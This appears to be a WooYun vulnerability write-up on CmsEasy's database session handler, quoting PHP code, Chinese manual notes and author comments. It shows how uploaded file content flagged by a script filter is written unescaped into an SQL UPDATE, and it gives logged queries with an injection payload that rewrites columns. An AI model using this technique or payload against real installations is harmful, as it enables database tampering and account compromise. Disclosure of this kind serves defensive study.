WooYun.org

class session {
    static function get($key) {
        if (isset($_SESSION[$key]))
            return $_SESSION[$key];
        else
            return false;
    }
    static function set($key,$var) {
        $_SESSION[$key]=$var;
    }
    static function del($key) {
        unset($_SESSION[$key]);
    }
}

new stsession(new sessionox());

final class stsession {
	private $_path = null;
	private $_name = null;
	private $_db = null;
	private $_ip = null;
	private $_maxtime = 0;
	private $_prefix = '';
	public function __construct($db) {
		session_set_save_handler(
			array($this, 'open'),
			array($this, 'close'),
			array($this, 'read'),
			array($this, 'write'),
			array($this, 'destroy'),
			array($this, 'gc')
		);
		//var_dump($db);
		$this->_db = $db;
		$this->_ip = $_SERVER['REMOTE_ADDR'];
		$this->_maxtime = ini_get('session.gc_maxlifetime');
		$config = config::get('database');
		$this->_prefix = isset($config['prefix']) ? $config['prefix'] : '';
		session_start();
		$this->refresh(session_id());
	}
	public function open($path,$name) {
		return true;
	}
	public function close(){
		return true;
	}
	public function read($id)
	{
		$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
		//var_dump($sql);
		$res = $this->_db->query($sql);
		if (!$row = $this->_db->fetch_array($res)) {
			return null;
		} elseif ($this->_ip != $row['client_ip']) {
			if(config::get('session_ip')){
				return null;
			}else{ 
				return $row['data'];
			}
		} elseif ($row['update_time']+$this->_maxtime < time()){
			$this->destroy($id);
			return null;
		} else {
			return $row['data'];
		}
	}
	public function write($id,$data) {
		$sql = "SELECT * FROM {$this->_prefix}sessionox where PHPSESSID = '$id'";
		//var_dump($sql);
		$res = $this->_db->query($sql);
		$time = time();
		$row = $this->_db->fetch_array($res);
		if ($row) {
			//if ($row['data'] != $data) {
			$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time',data='$data' WHERE PHPSESSID = '$id'";
			$this->_db->query($sql);
			//}
		} else {
			if (!empty($data)) {
				$sql = "INSERT INTO {$this->_prefix}sessionox (PHPSESSID, update_time, client_ip, data) VALUES ('$id','$time','$this->_ip','$data')";
				$this->_db->query($sql);
			}
		}
		return true;
	}
	public function destroy($id) {
		$sql = "DELETE FROM {$this->_prefix}sessionox WHERE PHPSESSID = '$id'";
		//var_dump($sql);
		$this->_db->query($sql);
		return true;
	}
	public function refresh($id){
		$time = time();
		$sql = "UPDATE {$this->_prefix}sessionox SET update_time='$time' WHERE PHPSESSID = '$id'";
		//var_dump($sql);
		$this->_db->query($sql);
		$this->gc($this->_maxtime);
	}
	public function gc($maxtime){
		$time = time() - $maxtime;
		$sql = "DELETE FROM {$this->_prefix}sessionox WHERE update_time <= '$time'";
		//var_dump($sql);
		$this->_db->query($sql);
		return true;
	}
}

open(string $savePath, string $sessionName)
open 回调函数类似于类的构造函数， 在会话打开的时候会被调用。 这是自动开始会话或者通过调用 session_start() 手动开始会话 之后第一个被调用的回调函数。 此回调函数操作成功返回 TRUE，反之返回 FALSE。
close()
close 回调函数类似于类的析构函数。 在 write 回调函数调用之后调用。 当调用 session_write_close() 函数之后，也会调用 close 回调函数。 此回调函数操作成功返回 TRUE，反之返回 FALSE。
read(string $sessionId)
如果会话中有数据，read 回调函数必须返回将会话数据编码（序列化）后的字符串。 如果会话中没有数据，read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后，PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前，PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似， 但是需要提醒的是，它们是不同的。 请参考： session.serialize_handler。
write(string $sessionId, string $data)
在会话保存数据时会调用 write 回调函数。 此回调函数接收当前会话 ID 以及 $_SESSION 中数据序列化之后的字符串作为参数。 序列化会话数据的过程由 PHP 根据 session.serialize_handler 设定值来完成。
序列化后的数据将和会话 ID 关联在一起进行保存。 当调用 read 回调函数获取数据时，所返回的数据必须要和 传入 write 回调函数的数据完全保持一致。
PHP 会在脚本执行完毕或调用 session_write_close() 函数之后调用此回调函数。 注意，在调用完此回调函数之后，PHP 内部会调用 close 回调函数。

if (!front::checkstr(@file_get_contents($file['tmp_name']))) {

function checkstr($str) {
        if (preg_match("/<(\/?)(script|i?frame|style|html|body|title|link|meta)([^>]*?)>/is",$str,$match)) { //检查有没有出现上面的代码，有的话就打印传给flash()函数。照样我们跟入。
            front::flash(print_r($match,true));
            return false;
        }
        if (preg_match("/(<[^>]*)on[a-zA-Z]+\s*=([^>]*>)/is",$str,$match)) {
            return false;
        }
        return true;
    }

static function flash($msg=null,$key='message') {
        if (!isset($msg))
            return self::showflash();
        if (session::get($key))
            $msg=session::get($key).'  '.$msg;
        session::set($key,$msg);//很明显是写入session中,会触发stsession 类中的write 写入到数据库里,但是呢_FILES是不受转义限制的,所以我们可以任意操作session
    }

array(4) {
  [0]=>
  string(8) "<script>"
  [1]=>
  string(0) ""
  [2]=>
  string(6) "script"
  [3]=>
  string(0) ""
}

UPDATE cmseasy_sessionox SET update_time='1411039331',data='message|s:146:"Array
(
    [0] => <script>
    [1] => 
    [2] => script
    [3] => 
)
  Array
(
    [0] => <script>
    [1] => 
    [2] => script
    [3] => 
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'

UPDATE cmseasy_sessionox SET update_time='1411039651',data='message|s:124:"Array
(
    [0] => <script*/',DATA=111, client_ip=/*>
    [1] => 
    [2] => script
    [3] => */',DATA=111, client_ip=/*
)
";' WHERE PHPSESSID = 'q8v84kj42pnc0sh6624mf5b1'

$data=array(
                        'username'=>$username,
                        'password'=>$password,
                        'groupid'=>101,
                        'userip'=>front::ip(),
                        $classname=>session::get('openid'),
                );

$post[$classname] = session::get('openid');
                $this->_user->rec_update($post, 'userid=' . $row['userid']);